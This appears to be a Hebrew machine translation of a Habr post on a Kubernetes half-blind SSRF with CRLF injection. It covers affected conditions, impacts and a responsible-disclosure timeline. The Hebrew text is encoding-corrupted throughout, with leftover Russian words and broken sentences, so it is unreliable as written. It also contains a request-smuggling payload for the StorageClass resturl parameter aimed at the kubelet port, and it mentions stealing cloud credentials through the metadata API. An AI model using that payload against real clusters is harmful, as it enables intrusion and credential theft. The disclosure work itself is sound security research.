ื–ื” ืื›ืŸ ื”ืจื‘ื” ื™ื•ืชืจ ื ื•ื— ืœืชื•ืงืฃ ืœืฉื ื•ืช ื‘ืงืฉื•ืช HTTP ืฉื ื•ืขื“ื• ืœืงื‘ืœ ืชื’ื•ื‘ืช HTTP ืžืœืื” ืœืคื™ ืฉื™ืงื•ืœ ื“ืขืชื•.

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ื›ื“ื™ ืœื™ื™ืฉื ืืช ื”ืชืจื—ื™ืฉ ื”ืื—ืจื•ืŸ, ื”ื™ื” ืฆืจื™ืš ืœืขืžื•ื“ ื‘ืชื ืื™ื ื”ื‘ืื™ื:

  • ืœืžืฉืชืžืฉ ื—ื™ื™ื‘ืช ืœื”ื™ื•ืช ื’ื™ืฉื” ืœื™ื•ืžื ื™ kube-controller-manager (ื›ืžื•, ืœืžืฉืœ, ื‘-Azure LogInsights).
  • ืืฉื›ื•ืœ Kubernetes ื—ื™ื™ื‘ ืœื”ืฉืชืžืฉ ื‘ื’ืจืกื” ืฉืœ Golang ื ืžื•ื›ื” ืž-1.12.

ืคืจืกื ื• ืกื‘ื™ื‘ื” ืžืงื•ืžื™ืช ืฉื“ืžื” ืชืงืฉื•ืจืช ื‘ื™ืŸ ืœืงื•ื— GlusterFS Go ืœืฉืจืช ื™ืขื“ ืžื–ื•ื™ืฃ (ื ืžื ืข ืžืคืจืกื•ื ื”-PoC ืœืขืช ืขืชื”).

ื ืžืฆื ืคื’ื™ืขื•ืช, ืžืฉืคื™ืข ืขืœ ื’ืจืกืื•ืช ื’ื•ืœืื ื’ ื ืžื•ื›ื•ืช ืž-1.12 ื•ืžืืคืฉืจ ืœื”ืืงืจื™ื ืœื‘ืฆืข ื”ื‘ืจื—ืช HTTP/ื”ืชืงืคื•ืช CRLF.

ืขืœ ื™ื“ื™ ืฉื™ืœื•ื‘ SSRF ื—ืฆื™ ืขื™ื•ื•ืจ ืฉืชื•ืืจ ืœืขื™ืœ ะฒะผะตัั‚ะต ืขื ื–ื”, ื”ืฆืœื—ื ื• ืœืฉืœื•ื— ื‘ืงืฉื•ืช ืœื˜ืขืžื ื•, ื›ื•ืœืœ ื”ื—ืœืคืช ื›ื•ืชืจื•ืช, ืฉื™ื˜ืช HTTP, ืคืจืžื˜ืจื™ื ื•ื ืชื•ื ื™ื, ืฉืื•ืชื ืขื™ื‘ื“ kube-controller-manager.

ื”ื ื” ื“ื•ื’ืžื” ืœ"ืคื™ืชื™ื•ืŸ" ืขื•ื‘ื“ ื‘ืคืจืžื˜ืจ resturl StorageClass, ื”ืžื™ื™ืฉืžืช ืชืจื—ื™ืฉ ื”ืชืงืคื” ื“ื•ืžื”:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ื”ืชื•ืฆืื” ื”ื™ื ื˜ืขื•ืช ืชื’ื•ื‘ื” ืœื ืจืฆื•ื™ื”, ื”ื•ื“ืขื” ืœื’ื‘ื™ื” ืžืชื•ืขื“ืช ื‘ื™ื•ืžื ื™ ื”ื‘ืงืจ. ื”ื•ื“ื•ืช ืœืžื™ืœื•ืœื™ื•ืช ื”ืžื•ืคืขืœืช ื›ื‘ืจื™ืจืช ืžื—ื“ืœ, ื”ืชื•ื›ืŸ ืฉืœ ื”ื•ื“ืขืช ืชื’ื•ื‘ืช ื”-HTTP ื ืฉืžืจ ืฉื ื’ื.

ื›ืฉื–ื” ืœื ืจืง ืขืœ ืคืจืฆื•ืช Kubernetes...

ื–ื” ื”ื™ื” ื”"ืคื™ืชื™ื•ืŸ" ื”ื™ืขื™ืœ ื‘ื™ื•ืชืจ ืฉืœื ื• ื‘ืžืกื’ืจืช ื”ื•ื›ื—ืช ื”ืจืขื™ื•ืŸ.

ื‘ืืžืฆืขื•ืช ื’ื™ืฉื” ื–ื•, ื”ืฆืœื—ื ื• ืœื‘ืฆืข ื›ืžื” ืžื”ื”ืชืงืคื•ืช ื”ื‘ืื•ืช ืขืœ ืืฉื›ื•ืœื•ืช ืฉืœ ืกืคืงื™ k8s ืžื ื•ื”ืœื™ื ืฉื•ื ื™ื: ื”ืกืœืžื” ืฉืœ ื”ืจืฉืื•ืช ืขื ืื™ืฉื•ืจื™ื ืขืœ ืžื•ืคืขื™ ืžื˜ื ื ืชื•ื ื™ื, ืžืืกื˜ืจ DoS ื‘ืืžืฆืขื•ืช ื‘ืงืฉื•ืช HTTP (ืœื ืžื•ืฆืคื ื•ืช) ืขืœ ืžื•ืคืขื™ ืžืืกื˜ืจ etcd ื•ื›ื•'.

ืชื•ืคืขื•ืช

ื‘ื”ืฆื”ืจื” ื”ืจืฉืžื™ืช ืฉืœ Kubernetes ื‘ื ื•ื’ืข ืœืคื’ื™ืขื•ืช ื”-SSRF ืฉื’ื™ืœื™ื ื•, ื”ื™ื ื“ื•ืจื’ื” CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ืื ื ื™ืงื— ื‘ื—ืฉื‘ื•ืŸ ืจืง ืืช ื”ืคื’ื™ืขื•ืช ื”ืงืฉื•ืจื” ืœื”ื™ืงืฃ Kubernetes, ื•ืงื˜ื•ืจ ื”ืฉืœืžื•ืช (ื•ืงื˜ื•ืจ ืฉืœืžื•ืช) ื–ื” ืžืชืื™ื ื› ืœืœื ื—ืชื™ืžื”.

ืขื ื–ืืช, ื”ืขืจื›ืช ื”ื”ืฉืœื›ื•ืช ื”ืืคืฉืจื™ื•ืช ื‘ื”ืงืฉืจ ืฉืœ ืกื‘ื™ื‘ืช ืฉื™ืจื•ืช ืžื ื•ื”ืœืช (ื•ื–ื” ื”ื™ื” ื”ื—ืœืง ื”ืžืขื ื™ื™ืŸ ื‘ื™ื•ืชืจ ื‘ืžื—ืงืจ ืฉืœื ื•!) ื”ื ื™ืขื” ืื•ืชื ื• ืœืกื•ื•ื’ ืžื—ื“ืฉ ืืช ื”ืคื’ื™ืขื•ืช ืœื“ื™ืจื•ื’ CVSS10/10 ืงืจื™ื˜ื™ ืขื‘ื•ืจ ืžืคื™ืฆื™ื ืจื‘ื™ื.

ืœื”ืœืŸ ืžื™ื“ืข ื ื•ืกืฃ ืฉื™ืขื–ื•ืจ ืœืš ืœื”ื‘ื™ืŸ ืืช ื”ืฉื™ืงื•ืœื™ื ืฉืœื ื• ื‘ืขืช ื”ืขืจื›ืช ื”ื”ืฉืคืขื•ืช ื”ืคื•ื˜ื ืฆื™ืืœื™ื•ืช ื‘ืกื‘ื™ื‘ื•ืช ืขื ืŸ:

ื™ื•ืฉืจื”

  • ื‘ืฆืข ืคืงื•ื“ื•ืช ืžืจื—ื•ืง ื‘ืืžืฆืขื•ืช ืื™ืฉื•ืจื™ื ืคื ื™ืžื™ื™ื ืฉื ืจื›ืฉื•.
  • ืฉื—ื–ื•ืจ ื”ืชืจื—ื™ืฉ ืœืขื™ืœ ื‘ืืžืฆืขื•ืช ืฉื™ื˜ืช IDOR (Insecure Direct Object Reference) ืขื ืžืฉืื‘ื™ื ืื—ืจื™ื ืฉื ืžืฆืื™ื ื‘ืจืฉืช ื”ืžืงื•ืžื™ืช.

ะšะพะฝั„ะธะดะตะฝั†ะธะฐะปัŒะฝะพัั‚ัŒ

  • ืกื•ื’ ื”ืชืงืคื” ืชื ื•ืขื” ืฆื“ื“ื™ืช ื”ื•ื“ื•ืช ืœื’ื ื™ื‘ื” ืฉืœ ืื™ืฉื•ืจื™ ืขื ืŸ (ืœื“ื•ื’ืžื”, API ืฉืœ metadata).
  • ืื™ืกื•ืฃ ืžื™ื“ืข ืขืœ ื™ื“ื™ ืกืจื™ืงืช ื”ืจืฉืช ื”ืžืงื•ืžื™ืช (ืงื‘ื™ืขืช ื’ืจืกืช SSH, ื’ืจืกืช ืฉืจืช HTTP,...).
  • ืืกื•ืฃ ืžื™ื“ืข ืขืœ ืžื•ืคืขื™ื ื•ืชืฉืชื™ื•ืช ืขืœ ื™ื“ื™ ืกืงืจ ืžืžืฉืงื™ API ืคื ื™ืžื™ื™ื ื›ื’ื•ืŸ ืžืžืฉืง API ืฉืœ ืžื˜ื ื ืชื•ื ื™ื (http://169.254.169.254, ...).
  • ื’ื ื™ื‘ืช ื ืชื•ื ื™ ืœืงื•ื—ื•ืช ื‘ืืžืฆืขื•ืช ืื™ืฉื•ืจื™ ืขื ืŸ.

ื–ืžื™ื ื•ืช

ื›ืœ ืชืจื—ื™ืฉื™ ื”ื ื™ืฆื•ืœ ื”ืงืฉื•ืจื™ื ืœื•ืงื˜ื•ืจื™ ื”ืชืงืคื” ืขืœ ื™ื•ืฉืจื”, ื™ื›ื•ืœ ืœืฉืžืฉ ืœืคืขื•ืœื•ืช ื”ืจืกื ื™ื•ืช ื•ืœื”ื•ื‘ื™ืœ ืœื›ืš ืฉืžื•ืคืขื™ ืžืืกื˜ืจ ืžื”ื™ืงืฃ ื”ืœืงื•ื— (ืื• ื›ืœ ืื—ืจ) ืื™ื ื ื–ืžื™ื ื™ื.

ืžื›ื™ื•ื•ืŸ ืฉื”ื™ื™ื ื• ื‘ืกื‘ื™ื‘ืช K8s ืžื ื•ื”ืœืช ื•ื”ืขืจื›ื ื• ืืช ื”ื”ืฉืคืขื” ืขืœ ืฉืœืžื•ืช, ืื ื• ื™ื›ื•ืœื™ื ืœื“ืžื™ื™ืŸ ืชืจื—ื™ืฉื™ื ืจื‘ื™ื ืฉืขืœื•ืœื™ื ืœื”ืฉืคื™ืข ืขืœ ื”ื–ืžื™ื ื•ืช. ื“ื•ื’ืžืื•ืช ื ื•ืกืคื•ืช ื›ื•ืœืœื•ืช ื”ืฉื—ืชืช ืžืกื“ ื”ื ืชื•ื ื™ื etcd ืื• ื‘ื™ืฆื•ืข ืงืจื™ืื” ืงืจื™ื˜ื™ืช ืœ-Kubernetes API.

ืฆื™ืจ ื–ืžืŸ

  • 6 ื‘ื“ืฆืžื‘ืจ 2019: ื“ื™ื•ื•ื— ืขืœ ืคื’ื™ืขื•ืช ืœ-MSRC Bug Bounty.
  • 3 ื‘ื™ื ื•ืืจ 2020: ืฆื“ ืฉืœื™ืฉื™ ื”ื•ื“ื™ืข โ€‹โ€‹ืœืžืคืชื—ื™ Kubernetes ืฉืื ื—ื ื• ืขื•ื‘ื“ื™ื ืขืœ ื‘ืขื™ื™ืช ืื‘ื˜ื—ื”. ื•ื‘ื™ืงืฉื• ืžื”ื ืœื”ืชื™ื™ื—ืก ืœ-SSRF ื›ืืœ ืคื’ื™ืขื•ืช ืคื ื™ืžื™ืช (ื‘ืชื•ืš ื”ืœื™ื‘ื”). ืœืื—ืจ ืžื›ืŸ ืกื™ืคืงื ื• ื“ื•ื— ื›ืœืœื™ ืขื ืคืจื˜ื™ื ื˜ื›ื ื™ื™ื ืขืœ ืžืงื•ืจ ื”ื‘ืขื™ื”.
  • 15 ื‘ื™ื ื•ืืจ 2020: ืกื™ืคืงื ื• ื“ื•ื—ื•ืช ื˜ื›ื ื™ื™ื ื•ื›ืœืœื™ื™ื ืœืžืคืชื—ื™ Kubernetes ืœืคื™ ื‘ืงืฉืชื (ื“ืจืš ืคืœื˜ืคื•ืจืžืช HackerOne).
  • 15 ื‘ื™ื ื•ืืจ 2020: ืžืคืชื—ื™ Kubernetes ื”ื•ื“ื™ืขื• ืœื ื• ืฉื”ื–ืจืงืช SSRF + CRLF ืขื™ื•ื•ืจืช ืœืžื—ืฆื” ืขื‘ื•ืจ ืžื”ื“ื•ืจื•ืช ืงื•ื“ืžื•ืช ื ื—ืฉื‘ืช ืœืคื’ื™ืขื•ืช ื‘ืชื•ืš ื”ืœื™ื‘ื”. ืžื™ื“ ื”ืคืกืงื ื• ืœื ืชื— ืืช ื”ื”ื™ืงืคื™ื ืฉืœ ืกืคืงื™ ืฉื™ืจื•ืช ืื—ืจื™ื: ืฆื•ื•ืช K8s ื˜ื™ืคืœ ื›ืขืช ื‘ืฉื•ืจืฉ.
  • 15 ื‘ื™ื ื•ืืจ 2020: ืชื’ืžื•ืœ MSRC ื”ืชืงื‘ืœ ื“ืจืš HackerOne.
  • 16 ื‘ื™ื ื•ืืจ 2020: Kubernetes PSC (ื•ืขื“ืช ืื‘ื˜ื—ืช ื”ืžื•ืฆืจ) ื–ื™ื”ืชื” ืืช ื”ืคื’ื™ืขื•ืช ื•ื‘ื™ืงืฉื” ืœืฉืžื•ืจ ืื•ืชื” ื‘ืกื•ื“ ืขื“ ืืžืฆืข ืžืจืฅ ื‘ืฉืœ ื”ืžืกืคืจ ื”ื’ื“ื•ืœ ืฉืœ ืงื•ืจื‘ื ื•ืช ืคื•ื˜ื ืฆื™ืืœื™ื™ื.
  • 11 ื‘ืคื‘ืจื•ืืจ 2020: ืชื’ืžื•ืœ VRP ืฉืœ Google ื”ืชืงื‘ืœ.
  • 4 ื‘ืžืจืฅ 2020: ืชื’ืžื•ืœ Kubernetes ื”ืชืงื‘ืœ ื“ืจืš HackerOne.
  • 15 ื‘ืžืจืฅ 2020: ื”ื—ืฉื™ืคื” ืœืฆื™ื‘ื•ืจ ืฉืชื•ื›ื ื ื” ื‘ืžืงื•ืจ ื ื“ื—ืชื” ืขืงื‘ ืžืฆื‘ ื”-COVID-19.
  • 1 ื‘ื™ื•ื ื™ 2020: ื”ืฆื”ืจื” ืžืฉื•ืชืคืช ืฉืœ Kubernetes + Microsoft ืœื’ื‘ื™ ื”ืคื’ื™ืขื•ืช.

TL; DR

  • ืฉื•ืชื™ื ื‘ื™ืจื” ื•ืื•ื›ืœื™ื ืคื™ืฆื” :)
  • ื’ื™ืœื™ื ื• ืคื’ื™ืขื•ืช ื‘ืชื•ืš ื”ืœื™ื‘ื” ื‘-Kubernetes, ืœืžืจื•ืช ืฉืœื ื”ื™ื™ืชื” ืœื ื• ื›ื•ื•ื ื” ืœืขืฉื•ืช ื–ืืช.
  • ื‘ื™ืฆืขื ื• ื ื™ืชื•ื— ื ื•ืกืฃ ืขืœ ืืฉื›ื•ืœื•ืช ืฉืœ ืกืคืงื™ ืขื ืŸ ืฉื•ื ื™ื ื•ื”ืฆืœื—ื ื• ืœื”ื’ื“ื™ืœ ืืช ื”ื ื–ืง ืฉื ื’ืจื ืžื”ืคื’ื™ืขื•ืช ื›ื“ื™ ืœืงื‘ืœ ื‘ื•ื ื•ืกื™ื ืžื“ื”ื™ืžื™ื ื ื•ืกืคื™ื.
  • ืชืžืฆื ื”ืจื‘ื” ืคืจื˜ื™ื ื˜ื›ื ื™ื™ื ื‘ืžืืžืจ ื–ื”. ื ืฉืžื— ืœื“ื‘ืจ ืื™ืชืš ืขืœื™ื”ื (ื˜ื•ื•ื™ื˜ืจ: @ReeverZax & @__hach_).
  • ื”ืชื‘ืจืจ ืฉื›ืœ ืžื™ื ื™ ืคื•ืจืžืœื™ื•ืช ื•ื“ื™ื•ื•ื—ื™ื ืืจื›ื• ื”ืจื‘ื” ื™ื•ืชืจ ืžื”ืฆืคื•ื™.

ืชื–ื›ื•ืจ

ื .ื‘ ืžื”ืžืชืจื’ื

ืงืจื ื’ื ื‘ื‘ืœื•ื’ ืฉืœื ื•:

ืžืงื•ืจ: www.habr.com

ื”ื•ืกืคืช ืชื’ื•ื‘ื”